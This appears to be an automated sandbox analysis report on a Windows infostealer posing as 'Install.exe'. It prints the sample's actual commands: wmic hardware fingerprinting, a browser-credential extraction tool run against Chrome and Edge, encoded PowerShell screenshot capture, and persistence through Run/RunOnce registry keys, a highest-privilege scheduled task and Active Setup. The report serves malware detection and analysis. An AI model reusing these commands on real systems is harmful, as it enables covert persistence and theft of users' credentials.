Analysis

  • max time kernel
    150s
  • max time network
    113s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/08/2026, 09:24

General

  • Target
    Install.exe
  • Size 91.9MB
  • Sample260822-ldgdjsxtfx
  • SHA256 d40f4e95ea380c095a726b46316875c96859820a7a71ec6a61f6ad03fa25f968
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 2 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 1 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Discovers running processes 1 TTPs 2 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in Program Files directory 6 IoCs
  • Executes a command shell one-liner 1 TTPs 15 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 36 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Install.exe
    "C:\Users\Admin\AppData\Local\Temp\Install.exe"
    1⤵
    • Creates a file in the Startup directory
    • Loads dropped DLL
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:1160
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4100
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic csproduct get uuid
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4428
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4940
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic path win32_VideoController get name
        3⤵
        • Detects videocard installed
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4564
    • C:\Users\Admin\AppData\Local\Temp\ls_xn9t0c\chromelevator.exe
      C:\Users\Admin\AppData\Local\Temp\ls_xn9t0c\chromelevator.exe --output-path C:\Users\Admin\AppData\Local\Temp\ls_xn9t0c\output all
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2748
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
          PID:4764
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
          3⤵
            PID:4984
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model,manufacturer /format:list"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4268
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic computersystem get model,manufacturer /format:list
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3560
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic path SoftwareLicensingService get OA3xOriginalProductKey"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:6088
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic path SoftwareLicensingService get OA3xOriginalProductKey
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3708
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic bios get serialnumber"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:236
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic bios get serialnumber
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2164
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic logicaldisk get freespace"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4848
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic logicaldisk get freespace
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2248
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get size"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4908
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic diskdrive get size
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2804
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "getmac"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5276
          • C:\Windows\system32\getmac.exe
            getmac
            3⤵
              PID:936
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4628
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic csproduct get uuid
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:2240
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcACgAkAG0AbwBuAGkAdABvAHIAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AEEAbABsAFMAYwByAGUAZQBuAHMACgAkAHQAbwB0AGEAbABXAGkAZAB0AGgAIAA9ACAAKAAkAG0AbwBuAGkAdABvAHIAcwAgAHwAIABNAGUAYQBzAHUAcgBlAC0ATwBiAGoAZQBjAHQAIAAtAFAAcgBvAHAAZQByAHQAeQAgAEIAbwB1AG4AZABzAC4AVwBpAGQAdABoACAALQBTAHUAbQApAC4AUwB1AG0ACgAkAG0AYQB4AEgAZQBpAGcAaAB0ACAAPQAgACgAJABtAG8AbgBpAHQAbwByAHMAIAB8ACAATQBlAGEAcwB1AHIAZQAtAE8AYgBqAGUAYwB0ACAALQBQAHIAbwBwAGUAcgB0AHkAIABCAG8AdQBuAGQAcwAuAEgAZQBpAGcAaAB0ACAALQBNAGEAeABpAG0AdQBtACkALgBNAGEAeABpAG0AdQBtAAoAJABtAGkAbgBYACAAPQAgACgAJABtAG8AbgBpAHQAbwByAHMAIAB8ACAATQBlAGEAcwB1AHIAZQAtAE8AYgBqAGUAYwB0ACAALQBQAHIAbwBwAGUAcgB0AHkAIABCAG8AdQBuAGQAcwAuAFgAIAAtAE0AaQBuAGkAbQB1AG0AKQAuAE0AaQBuAGkAbQB1AG0ACgAkAG0AaQBuAFkAIAA9ACAAKAAkAG0AbwBuAGkAdABvAHIAcwAgAHwAIABNAGUAYQBzAHUAcgBlAC0ATwBiAGoAZQBjAHQAIAAtAFAAcgBvAHAAZQByAHQAeQAgAEIAbwB1AG4AZABzAC4AWQAgAC0ATQBpAG4AaQBtAHUAbQApAC4ATQBpAG4AaQBtAHUAbQAKACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACgAJAB0AG8AdABhAGwAVwBpAGQAdABoACwAIAAkAG0AYQB4AEgAZQBpAGcAaAB0ACkACgAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEcAcgBhAHAAaABpAGMAcwBdADoAOgBGAHIAbwBtAEkAbQBhAGcAZQAoACQAYgBpAHQAbQBhAHAAKQAKAGYAbwByAGUAYQBjAGgAIAAoACQAbQBvAG4AaQB0AG8AcgAgAGkAbgAgACQAbQBvAG4AaQB0AG8AcgBzACkAIAB7AAoAIAAgACQAZwByAGEAcABoAGkAYwBzAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABtAG8AbgBpAHQAbwByAC4AQgBvAHUAbgBkAHMALgBYACwAIAAkAG0AbwBuAGkAdABvAHIALgBCAG8AdQBuAGQAcwAuAFkALAAgACQAbQBvAG4AaQB0AG8AcgAuAEIAbwB1AG4AZABzAC4AWAAgAC0AIAAkAG0AaQBuAFgALAAgACQAbQBvAG4AaQB0AG8AcgAuAEIAbwB1AG4AZABzAC4AWQAgAC0AIAAkAG0AaQBuAFkALAAgACQAbQBvAG4AaQB0AG8AcgAuAEIAbwB1AG4AZABzAC4AUwBpAHoAZQApAAoAfQAKACQAZwByAGEAcABoAGkAYwBzAC4ARABpAHMAcABvAHMAZQAoACkACgAkAGIAaQB0AG0AYQBwAC4AUwBhAHYAZQAoACcAQwA6AFwAXABVAHMAZQByAHMAXABcAEEAZABtAGkAbgBcAFwAQQBwAHAARABhAHQAYQBcAFwATABvAGMAYQBsAFwAXABUAGUAbQBwAFwAXABzAGMAcgBfADEANwA4ADcAMwA5ADAANwAzADUAOAAyADgALgBwAG4AZwAnACwAIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEkAbQBhAGcAaQBuAGcALgBJAG0AYQBnAGUARgBvAHIAbQBhAHQAXQA6ADoAUABuAGcAKQAKACQAYgBpAHQAbQBhAHAALgBEAGkAcwBwAG8AcwBlACgAKQA=
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3112
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcACgAkAHMAYwByAGUAZQBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAC4AUwBjAHIAZQBlAG4AXQA6ADoAUAByAGkAbQBhAHIAeQBTAGMAcgBlAGUAbgAKACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACgAJABzAGMAcgBlAGUAbgAuAEIAbwB1AG4AZABzAC4AVwBpAGQAdABoACwAIAAkAHMAYwByAGUAZQBuAC4AQgBvAHUAbgBkAHMALgBIAGUAaQBnAGgAdAApAAoAJABnAHIAYQBwAGgAaQBjAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAaQB0AG0AYQBwACkACgAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAuAFgALAAgACQAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAuAFkALAAgADAALAAgADAALAAgACQAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAuAFMAaQB6AGUAKQAKACQAZwByAGEAcABoAGkAYwBzAC4ARABpAHMAcABvAHMAZQAoACkACgAkAGIAaQB0AG0AYQBwAC4AUwBhAHYAZQAoACcAQwA6AFwAXABVAHMAZQByAHMAXABcAEEAZABtAGkAbgBcAFwAQQBwAHAARABhAHQAYQBcAFwATABvAGMAYQBsAFwAXABUAGUAbQBwAFwAXABzAGMAcgBfADEANwA4ADcAMwA5ADAANwAzADUAOAAyADgALgBwAG4AZwAnACwAIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEkAbQBhAGcAaQBuAGcALgBJAG0AYQBnAGUARgBvAHIAbQBhAHQAXQA6ADoAUABuAGcAKQAKACQAYgBpAHQAbQBhAHAALgBEAGkAcwBwAG8AcwBlACgAKQA=
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:5448
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "jlrU9NV" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Install.exe" /f"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3156
            • C:\Windows\system32\reg.exe
              reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "jlrU9NV" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Install.exe" /f
              3⤵
              • Adds Run key to start application
              PID:2728
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "jlrU9NV" /tr "\"C:\Users\Admin\AppData\Local\Temp\Install.exe\"" /sc onlogon /f /rl highest"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4688
            • C:\Windows\system32\schtasks.exe
              schtasks /create /tn "jlrU9NV" /tr "\"C:\Users\Admin\AppData\Local\Temp\Install.exe\"" /sc onlogon /f /rl highest
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:5728
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Active Setup\Installed Components\jlrU9NV" /v StubPath /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Install.exe" /f"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1476
            • C:\Windows\system32\reg.exe
              reg add "HKCU\Software\Microsoft\Active Setup\Installed Components\jlrU9NV" /v StubPath /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Install.exe" /f
              3⤵
              • Boot or Logon Autostart Execution: Active Setup
              PID:1620
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "jlrU9NV" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Install.exe" /f"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1148
            • C:\Windows\system32\reg.exe
              reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "jlrU9NV" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Install.exe" /f
              3⤵
              • Adds Run key to start application
              PID:1500
        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
          1⤵
            PID:3544
          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
            1⤵
              PID:3660
            • C:\Users\Admin\AppData\Local\Temp\Install.exe
              "C:\Users\Admin\AppData\Local\Temp\Install.exe"
              1⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:4772
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "PID eq 1160" /FO CSV /NH"
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:1156
                • C:\Windows\system32\tasklist.exe
                  tasklist /FI "PID eq 1160" /FO CSV /NH
                  3⤵
                  • Discovers running processes
                  PID:2892
            • C:\Users\Admin\AppData\Local\Temp\Install.exe
              C:\Users\Admin\AppData\Local\Temp\Install.exe
              1⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:5860
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "PID eq 1160" /FO CSV /NH"
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:4184
                • C:\Windows\system32\tasklist.exe
                  tasklist /FI "PID eq 1160" /FO CSV /NH
                  3⤵
                  • Discovers running processes
                  PID:4800

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 aecd211ac8babc118c2a0785f00479871819bde6ba11e5b7891a04f259f1dbf3
                  • MD5 SHA1 SHA512 TLSH

                  .dat

                  • Path C:\Users\Admin\AppData\Local\Temp\.dat
                  • Size 4B
                  • SHA256 77523aa0395b6ee089984c28fd543755244df3ba6adba24be6b5b20f4fe5c6b3
                  • MD5 SHA1 SHA512

                  2568702015.node

                  • Path C:\Users\Admin\AppData\Local\Temp\2568702015.node
                  • Size 1.6MB
                  • SHA256 a0703af5f81284f61b51946b703ccaafcae05c848527d38f1e6d8290f98ff538
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  4082636123.node

                  • Path C:\Users\Admin\AppData\Local\Temp\4082636123.node
                  • Size 275KB
                  • SHA256 89cbacbc842eb08645bf0b2ea5a03f0a0504a213aa123242343e5588e2f0149c
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  chromelevator.exe

                  • Path C:\Users\Admin\AppData\Local\Temp\ls_xn9t0c\chromelevator.exe
                  • Size 1.4MB
                  • SHA256 16d221f6402ceeddbd6adcf42da0a3b8c85dee30485096fc9b22500bfb610fbd
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  scr_1787390735828.png

                  • Path C:\Users\Admin\AppData\Local\Temp\scr_1787390735828.png
                  • Size 546KB
                  • SHA256 77d34ffbdd88118d92ec4d7c419e8a5dcbd96577f7edd8225ff135fd5260f36a
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  memory/3112-23-0x000001D348820000-0x000001D348842000-memory.dmp